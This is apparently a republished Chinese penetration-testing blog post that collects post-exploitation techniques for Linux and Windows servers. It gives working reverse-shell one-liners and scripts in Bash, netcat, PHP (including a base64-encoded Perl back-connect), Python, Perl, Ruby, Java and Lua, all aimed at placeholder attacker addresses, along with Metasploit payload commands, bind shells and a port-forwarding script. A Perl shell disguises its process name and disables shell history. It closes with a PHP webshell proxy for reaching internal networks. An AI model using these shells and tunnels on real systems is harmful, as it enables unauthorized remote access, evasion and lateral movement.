奇淫技巧
0x00 前言
在做渗透测试时,遇到linux服务器,直观想到反弹shell到本地进行溢出等提权尝试,⽽而其中涉及到的反弹/转发/代理的种种方式,就在此文做一简单小结.
0x01 反弹shell
1) Bash
部分linux发行版中的Bash可以直接反弹一个shell到指定ip端口
1bash -i >& /dev/tcp/x.x.x.x/2333 0>&1
2) NetCat
Netcat反弹shell也是常用兵器,经典命令参数-e
但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决
1rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/f
或者本地监听两个端口,通过管道,一处输入,一处输出
其他方式基本沿用以上思路,如将nc更换为telnet等
1mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipe
3) PHP
PHP环境下反弹shell,过去我们通常用phpspy等shell自带反弹即可,这里将其反弹部分代码提取出来,访问即可反弹到指定IP端口一个普通交互shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53<?php function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } } $yourip = "x.x.x.x"; $yourport = "2333"; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &"); ?>
访问,成功返回
但需要注意php需未禁用exec函数.另外,Metasploit的payload也提供各种反弹脚本,如
1msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php
生成文件内容像这样
将文件传入shell中,在msf中开一个handler
1
2
3
4
5msf > use multi/handler msf exploit(handler) > set PAYLOAD php/reverse_php msf exploit(handler) > set LHOST x.x.x.x msf exploit(handler) > set LPORT 2333 msf exploit(handler) > exploit
此时访问re.php,即可反弹到本地一个shell
当然,用nc直接监听端口也是可以的
其他可以考虑使用msf编码变形等,github也有这样一个脚本 https://github.com/keshy/cwg_tools/blob/master/php-reverse-shell.php 可供参考
4) JSP
JSP类似,使用msf生成一个反弹shell
1msfpayload java/jsp_shell_reverse_tcp LHOST=x.x.x.x R > re.jsp
然后在msf中开一个handler
1
2
3
4msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD java/jsp_shell_reverse_tcp msf exploit(handler) > set LHOST 192.168.10.1 msf exploit(handler) > exploit
类似方法即可反弹回shell
5) Python
一个Python反弹shell的代码demo
1
2
3python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
整洁规范的Python写法应该像是这样,更易懂些:
1
2
3
4
5
6
7import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("x.x.x.x",2333)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]);
其他脚本像这样子
1
2
3python -c "exec("import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())")"
msf的payload给出这样的解法
1msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=2333
生成编码后文件:
1
2
3import base64; exec(base64.b64decode('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsMSkKcy5jb25uZWN0KCgnMC4wLjAuMCcsMjMzMykpCmw9c3RydWN0 LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YoNDA5NikKd2hpbGUgbGVuKGQpIT1sOgoJZCs9cy5yZWN2KDQwOTYpCmV4ZWMoZCx7J3MnOnN9KQo='))
Base64解码后:
1
2
3
4
5
6
7
8import socket,struct s=socket.socket(2,1) s.connect(('x.x.x.x',2333)) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(4096) while len(d)!=l: d+=s.recv(4096) exec(d,{'s':s})
此处补充上phith0n同学的正向连接bind_shell
关于交互式正向连接shell,⼏几点需要注意的地⽅方
1.不管在linux还是windows下,想要做到交互式,只能开启⼀一个shell.不能够每次接收到命令就再开启⼀一个shell进程,然后执⾏行.
2.windows下cmd.exe /K参数是保持cmd不结束,/c参数是执⾏行完后就结束,注意区别.
最终Win版本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25from socket import * import subprocess import os, threading def send(talk, proc): import time while True: msg = proc.stdout.readline() talk.send(msg) if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',23333)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) t = threading.Thread(target = send, args = (talk, proc)) t.setDaemon(True) t.start() while True: cmd=talk.recv(1024) proc.stdin.write(cmd) proc.stdin.flush() server.close()
Linux版本:
1
2
3
4
5
6
7
8
9
10
11from socket import * import subprocess import os, threading, sys, time if __name__ == "__main__": server=socket(AF_INET,SOCK_STREAM) server.bind(('0.0.0.0',11)) server.listen(5) print 'waiting for connect' talk, addr = server.accept() print 'connect from',addr proc = subprocess.Popen(["/bin/sh","-i"],stdin=talk,stdout=talk, stderr=talk, shell=True)
执行后主动连接即可
6) Perl
首先给一个原理类似的脚本
1
2
3perl -e 'use Socket;$i="x.x.x,x";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
然后是一个不依赖调用/bin/bash的方法
1
2perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:4444");STDIN->fdopen($c,r);$~- >fdopen($c,w);system$_ while<>;'
一个完整的反弹pl脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77#!/usr/bin/perl -w # perl-reverse-shell - A Reverse Shell implementation in PERL use strict; use Socket; use FileHandle; use POSIX; my $VERSION = "1.0"; # Where to send the reverse shell. Change these. my $ip = 'x.x.x.x'; my $port = 2333; # Options my $daemon = 1; my $auth = 0; # 0 means authentication is disabled and any # source IP can access the reverse shell my $authorised_client_pattern = qr(^127.0.0.1$); # Declarations my $global_page = ""; my $fake_process_name = "/usr/sbin/apache"; # Change the process name to be less conspicious $0 = "[httpd]"; # Authenticate based on source IP address if required if (defined($ENV{'REMOTE_ADDR'})) { cgiprint("Browser IP address appears to be: $ENV{'REMOTE_ADDR'}"); if ($auth) { unless ($ENV{'REMOTE_ADDR'} =~ $authorised_client_pattern) { cgiprint("ERROR: Your client isn't authorised to view this page"); cgiexit(); } } } elsif ($auth) { cgiprint("ERROR: Authentication is enabled, but I couldn't determine your IP address. Denying access"); cgiexit(0); } # Background and dissociate from parent process if required if ($daemon) { my $pid = fork(); if ($pid) { cgiexit(0); # parent exits } setsid(); chdir('/'); umask(0); } # Make TCP connection for reverse shell socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); if (connect(SOCK, sockaddr_in($port,inet_aton($ip)))) { cgiprint("Sent reverse shell to $ip:$port"); cgiprintpage(); } else { cgiprint("Couldn't open reverse shell to $ip:$port: $!"); cgiexit(); } # Redirect STDIN, STDOUT and STDERR to the TCP connection open(STDIN, ">&SOCK"); open(STDOUT,">&SOCK"); open(STDERR,">&SOCK"); $ENV{'HISTFILE'} = '/dev/null'; system("w;uname -a;id;pwd"); exec({"/bin/sh"} ($fake_process_name, "-i")); # Wrapper around print sub cgiprint { my $line = shift; $line .= "<p>n"; $global_page .= $line; } # Wrapper around exit sub cgiexit { cgiprintpage(); exit 0; # 0 to ensure we don't give a 500 response. } # Form HTTP response using all the messages gathered by cgiprint so far sub cgiprintpage { print "Content-Length: " . length($global_page) . "r Connection: closer Content-Type: text/htmlrnrn" . $global_page; }
ASP环境下调用perlscript执行方式
1<%@Language=PerlScript%>
#表明ASP脚本使⽤用语⾔言为Perlscript
1
2
3
4
5
6<% system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443"); #⽤用system函数执⾏行命令的⽅方式 #exec("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443"); #⽤用exec函数执⾏行命令的⽅方式 %>
7) Ruby
惯例,首先一个调用/bin/sh的
1ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",2333).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
一个不依赖于/bin/sh的反弹shell:
1ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
Windows环境使用
1ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
此外MSF中也有相应模块可以调用,就不多提
8) Java
给出一个调用/bin/bash的脚本
1
2
3r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.waitFor()
MSF中也有相应模块可以调用
9) Lua
1lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"
类似不做解释
0x02 端口转发
上面总结反弹shell的各种已知主流或非主流方式,下面扯一下端口转发. 已知的大众方式如:
lcx老牌工具
htran/fport/fpipe等
antifw修改3389端口为80
reduh提供了借助http/https隧道连接3389的另一种方式
tunna给出了比reduh更稳定快速的解决方法
在Linux环境下,则可考虑借助脚本实现,如Perl/Python等. 知道创宇Knownsec曾给出一个rtcp.py脚本做转发之用,不过测试发现只支持单点连接,推荐使用此
脚本,支持多client同时连接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import socket import threading import logging import optparse class PipeThread(threading.Thread): def __init__(self, source_fd, target_fd): super(PipeThread, self).__init__() self.logger = logging.getLogger('PipeThread') self.source_fd = source_fd self.target_fd = target_fd self.source_addr = self.source_fd.getpeername() self.target_addr = self.target_fd.getpeername() def run(self): while True: try: data = self.source_fd.recv(4096) if len(data) > 0: self.logger.debug('read %04i from %s:%d', len(data), self.source_addr[0], self.source_addr[1]) sent = self.target_fd.send(data) self.logger.debug('write %04i to %s:%d', sent, self.target_addr[0], self.target_addr[1]) else: break except socket.error: break self.logger.debug('connection %s:%d is closed.', self.source_addr[0], self.source_addr[1]) self.logger.debug('connection %s:%d is closed.', self.target_addr[0], self.target_addr[1]) self.source_fd.close() self.target_fd.close() class Forwarder(object): def __init__(self, ip, port, remoteip, remoteport, backlog=5): self.remoteip = remoteip self.remoteport = remoteport self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.sock.bind((ip, port)) self.sock.listen(backlog) def run(self): while True: client_fd, client_addr = self.sock.accept() target_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_fd.connect((self.remoteip, self.remoteport)) threads = [ PipeThread(client_fd, target_fd), PipeThread(target_fd, client_fd) ] for t in threads: t.setDaemon(True) t.start() def __del__(self): self.sock.close() if __name__ == '__main__': parser = optparse.OptionParser() parser.add_option( '-l', '--local-ip', dest='local_ip', help='Local IP address to bind to') parser.add_option( '-p', '--local-port', type='int', dest='local_port', help='Local port to bind to') parser.add_option( '-r', '--remote-ip', dest='remote_ip', help='Local IP address to bind to') parser.add_option( '-P', '--remote-port', type='int', dest='remote_port', help='Remote port to bind to') parser.add_option( '-v', '--verbose', action='store_true', dest='verbose', help='verbose') opts, args = parser.parse_args() if len(sys.argv) == 1 or len(args) > 0: parser.print_help() exit() if not (opts.local_ip and opts.local_port and opts.remote_ip and opts.remote_port): parser.print_help() exit() if opts.verbose: log_level = logging.DEBUG else: log_level = logging.CRITICAL logging.basicConfig(level=log_level, format='%(name)-11s: %(message)s') forwarder = Forwarder(opts.local_ip, opts.local_port, opts.remote_ip, opts.remote_port) try: forwarder.run() except KeyboardInterrupt: print 'quit' exit()
使用方式如
1python xxx.py -l 0.0.0.0 -p 3389 -r x.x.x.x -P 443
至于Perl脚本,网络中也有相关资料,大家可自行修改使用.
此外,推荐可结合msf加以免杀使用的tunna :) 具体使用方式细节不再介绍.
0x03 开放代理
如果对目标服务器已获得较高权限,可添加vpn或socks代理,ringzero@557.im写的 一个可用socks.py脚本可以更易的完成socks代理添加 使用方式如:
1nohup python s5.py 1080 &
只有Webshell的情况下,又需要对内网某web服务进行访问测试,但没有充足的精力手工借助webshell进行请求,需要将这一过程自动化,xsjswt给出这样一种
思路.
将如下脚本以shell权限丢至服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65<?php if(!isset($_GET['url'])){ exit(0); } $ch = curl_init(); $url=$_GET['url']; if(strstr($url,'?')){ $url.='&'; } else{ $url.='?'; } unset($_GET['url']); foreach($_GET as $Key=>$Val){ if(get_magic_quotes_gpc()){ $Val=stripslashes($Val); } $url=$url.'&'.$Key.'='.urlencode($Val); } $cookie=''; foreach($_COOKIE as $Key=>$Val){ if(get_magic_quotes_gpc()){ $Val=stripslashes($Val); } $cookie=$cookie.$Key.'='.urlencode($Val).'; '; } if($_SERVER['REQUEST_METHOD']=="POST"){ curl_setopt($ch, CURLOPT_POST, 1); $post_data=''; foreach($_POST as $Key=>$Val){ if(get_magic_quotes_gpc()){ $Val=stripslashes($Val); } $post_data=$post_data.'&'.$Key.'='.urlencode($Val); } curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); } curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']); curl_setopt($ch, CURLOPT_COOKIE, $cookie); curl_setopt($ch, CURLOPT_HEADER, TRUE); curl_setopt($ch, CURLOPT_NOBODY, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); if(isset($_SERVER['HTTP_REFERER'])){ curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_REFERER']); } $Response=curl_exec($ch); if(!$Response){ curl_close($ch); exit(0); } $HttpStatus=curl_getinfo($ch,CURLINFO_HTTP_CODE); $Header=substr($Response,0,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $Body=substr($Response,curl_getinfo($ch, CURLINFO_HEADER_SIZE)); $Headers=split("rn",$Header); foreach($Headers as $ThusHead){ if($ThusHead == 'Transfer-Encoding: chunked' || strstr($ThusHead,'Content-Length')!==false){ continue; } header($ThusHead,FALSE); } echo $Body; curl_close($ch); ?>
另搭建一nginx服务器,添加如下配置
1
2
3
4
5
6
7server { listen 监听端⼝口; location ~ () { proxy_pass http://shell-ip/文件存放目录/proxy.php?url=http://$host/$request_uri; proxy_set_header Host "访问webshell所用域名"; } }
重新加载nginx配置,本地浏览器http代理设置为nginx服务器ip及监听端口,即可实现初步的代理请求.
0x04 小结
仅总结常见手法/工具/脚本并加以测试,如各位实战中有奇葩的环境/更有趣的思路/手法,望不吝赐教.
0x05 参考资料
[1] http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
[2] http://www.leavesongs.com/PYTHON/python-shell-backdoor.html
[3] http://www.waitalone.cn/linux-shell-rebound-under-way.html
[4] http://tool.p1ng.pw/getshell.html
[5] 互联网其他相关资料
最后
以上就是个性短靴最近收集整理的关于Web渗透中的反弹Shell与端口转发的奇淫技巧奇淫技巧的全部内容,更多相关Web渗透中内容请搜索靠谱客的其他文章。
发表评论 取消回复